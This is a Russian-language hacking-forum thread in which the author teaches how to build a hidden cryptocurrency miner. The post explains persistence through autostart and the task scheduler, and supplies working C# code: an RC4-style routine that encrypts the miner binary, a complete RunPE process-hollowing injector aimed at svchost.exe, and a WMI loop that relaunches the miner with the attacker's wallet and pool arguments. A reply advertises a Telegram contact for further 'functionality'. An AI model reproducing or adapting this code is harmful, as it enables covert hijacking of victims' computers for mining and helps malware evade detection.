Загрузка...

Как создать свой скрытый майнер (ОСНОВЫ, А НЕ ГАЙД)

Тема в разделе C# создана пользователем Dead__Artis 13 мар 2022. (поднята 18 ноя 2022) 1774 просмотра

  1. Dead__Artis
    Dead__Artis Автор темы 13 мар 2022 921 30 май 2020
    всем привет, начнем с того как они работают эти ваши скрытые майнеры
    первое конечно же оно заражает твою систему копируется в папки автозагрузка в основе это планировщик заданий
    второе запуск программы майнинга в память то есть runpe любая программа например xmrig
    окно конечно не должно быть видно
    второе передача аргументов типо args = $"wallet={wallet} poll=stratum://{poll}"
    третие проверка майнинга
    получаем все процессы и проверяем их аргументы (консольные)
    если нету аргументов нашего майнера запускаем
    и так теперь к коду

    первое что мы должны сделать сохранить байты программы майнера xmrig или все что угодно я вытащил прогу с гитхаба майнера eth
    можно заюзать ресурсы либо же напрямую в переменную кидать байты
    желательно (обязательно) сделать шифрование байтов
    пример кода шифрования

    C#
    private static byte[] key = {45,25,49,100,200,45,23}; //любые байты или для глупенких числа от 0 до 255
    //тут и шифрование и дешифрирование
    //создаем новый проект шифруем прогу с тем же ключем и получаем уже зашифрованную прогу или же byte[]
    public static byte[] DecodEncod(byte[] data)
    {
    int[] S = new int[256];
    for (int _ = 0; _ < 256; _++)
    {
    S[_] = _;
    }
    int[] T = new int[256];
    if (key.Length == 256)
    {
    Buffer.BlockCopy(key, 0, T, 0, key.Length);
    }
    else
    {
    for (int _ = 0; _ < 256; _++)
    {
    T[_] = key[_ % key.Length];
    }
    }
    int i = 0;
    int j = 0;
    for (i = 0; i < 256; i++)
    {
    j = (j + S[i] + T[i]) % 256;
    int temp = S[i];
    S[i] = S[j];
    S[j] = temp;
    }
    i = j = 0;
    byte[] result = new byte[data.Length];
    for (int iteration = 0; iteration < data.Length; iteration++)
    {
    i = (i + 1) % 256;
    j = (j + S[i]) % 256;
    int temp = S[i];
    S[i] = S[j];
    S[j] = temp;
    int K = S[(S[i] + S[j]) % 256];
    result[iteration] = Convert.ToByte(data[iteration] ^ K);
    }
    return result;
    }
    с шифрованием разобрались
    думаю у вас не будет проблем как использовать ресурсы и тп
    теперь о runpe код взял так же с того же майнера eth с гитхаба
    выбираем файл в который будем внедрять наш код с нашими аргументами
    сам код runpe

    C#
    class RunPe
    {
    [DllImport("kernel32.dll")]
    private static extern bool CreateProcess(string _rarg1_,
    string _rarg2_,
    IntPtr _rarg3_,
    IntPtr _rarg4_,
    bool _rarg5_,
    uint _rarg6_,
    IntPtr _rarg7_,
    string _rarg8_,
    byte[] _rarg9_,
    byte[] _rarg1_0);

    [DllImport("kernel32.dll")]
    private static extern long VirtualAllocEx(long _rarg1_,
    long _rarg2_,
    long _rarg3_,
    uint _rarg4_,
    uint _rarg5_);

    [DllImport("kernel32.dll")]
    private static extern long WriteProcessMemory(long _rarg1_,
    long _rarg2_,
    byte[] _rarg3_,
    int _rarg4_,
    long _rarg5_);

    [DllImport("ntdll.dll")]
    private static extern uint ZwUnmapViewOfSection(long _rarg1_,
    long _rarg2_);

    [DllImport("kernel32.dll")]
    private static extern bool SetThreadContext(long _rarg1_,
    IntPtr _rarg2_);

    [DllImport("kernel32.dll")]
    private static extern bool GetThreadContext(long _rarg1_,
    IntPtr _rarg2_);

    [DllImport("kernel32.dll")]
    private static extern uint ResumeThread(long _rarg1_);

    [DllImport("kernel32.dll")]
    private static extern bool CloseHandle(long _rarg1_);

    public static void Run(byte[] _rarg1_, string _rarg2_, string _rarg3_)
    {
    int _rarg4_ = Marshal.ReadInt32(_rarg1_, 0x3c);

    long _rarg5_ = Marshal.ReadInt64(_rarg1_, _rarg4_ + 0x18 + 0x18);

    byte[] _rarg6_ = new byte[0x18];

    IntPtr _rarg7_ = new IntPtr(16 * ((Marshal.AllocHGlobal(0x4d0 + (16 / 2)).ToInt64() + (16 - 1)) / 16));

    Marshal.WriteInt32(_rarg7_, 0x30, 0x0010001b);

    CreateProcess(null, _rarg2_ + (!string.IsNullOrEmpty(_rarg3_) ? " " + _rarg3_ : ""), IntPtr.Zero, IntPtr.Zero, true, 0x4u, IntPtr.Zero, Path.GetDirectoryName(_rarg2_), new byte[0x68], _rarg6_);
    long _rarg8_ = Marshal.ReadInt64(_rarg6_, 0x0);
    long _rarg9_ = Marshal.ReadInt64(_rarg6_, 0x8);

    ZwUnmapViewOfSection(_rarg8_, _rarg5_);
    VirtualAllocEx(_rarg8_, _rarg5_, Marshal.ReadInt32(_rarg1_, _rarg4_ + 0x18 + 0x038), 0x3000, 0x40);
    WriteProcessMemory(_rarg8_, _rarg5_, _rarg1_, Marshal.ReadInt32(_rarg1_, _rarg4_ + 0x18 + 0x03c), 0L);

    for (short i = 0; i < Marshal.ReadInt16(_rarg1_, _rarg4_ + 0x4 + 0x2); i++)
    {
    byte[] _rarg1_0 = new byte[0x28];
    Buffer.BlockCopy(_rarg1_, _rarg4_ + (0x18 + Marshal.ReadInt16(_rarg1_, _rarg4_ + 0x4 + 0x10)) + (0x28 * i), _rarg1_0, 0, 0x28);

    byte[] _rarg1_1 = new byte[Marshal.ReadInt32(_rarg1_0, 0x010)];
    Buffer.BlockCopy(_rarg1_, Marshal.ReadInt32(_rarg1_0, 0x014), _rarg1_1, 0, _rarg1_1.Length);

    WriteProcessMemory(_rarg8_, _rarg5_ + Marshal.ReadInt32(_rarg1_0, 0x00c), _rarg1_1, _rarg1_1.Length, 0L);
    }

    GetThreadContext(_rarg9_, _rarg7_);

    WriteProcessMemory(_rarg8_, Marshal.ReadInt64(_rarg7_, 0x88) + 16, BitConverter.GetBytes(_rarg5_), 8, 0L);

    Marshal.WriteInt64(_rarg7_, 0x80, _rarg5_ + Marshal.ReadInt32(_rarg1_, _rarg4_ + 0x18 + 0x10));

    SetThreadContext(_rarg9_, _rarg7_);
    ResumeThread(_rarg9_);

    Marshal.FreeHGlobal(_rarg7_);
    CloseHandle(_rarg8_);
    CloseHandle(_rarg9_);
    }

    }
    использование runpe
    Код
    //byte[] arry = ресурсы нашего майнера или ваша переменая с arry
    //перед этим расшифруйте её если было шифрование
    //так же путь к файлу для runpe у меня это svchost.exe
    //затем так же переменная (args) с аргументами вы их можете найти в интернете и просто заменить на свой пул или кошелек
    RunPe.Run(arry, "C:\\Windows\\System32\\svchost.exe", args);
    перед запуском майнера надо же проверить запущен ли он вообще или нет

    C#
    bool started = true;
    string wmiQuery = string.Format("select CommandLine from Win32_Process where Name='{0}'", "svchost.exe");
    ManagementObjectSearcher searcher = new ManagementObjectSearcher(wmiQuery);
    ManagementObjectCollection retObjectCollection = searcher.Get();
    foreach (ManagementObject retObject in retObjectCollection)
    {
    if ((string)retObject["CommandLine"] == "C:\\Windows\\System32\\svchost.exe " + args)
    started = false;
    }
    if(started) //если мы не нашли аргументы то запускаем майнер с нашими аргументами
    RunPe.Run(Miner, "C:\\Windows\\System32\\svchost.exe", args);
    //пишем цикл while (true) и просто чекаем и не забываем про задержку Thread.Sleep()
    это основа как сделать скрытый майнера
    тему написал на тяп ляп так что не судите строго
     
  2. Vertus_Soft
    Vertus_Soft 30 июл 2022 Заблокирован(а) 0 13 мар 2021
    Привет, напиши в тг: Vertus_Crypto
    Имеется различный функционал
     
Загрузка...
Top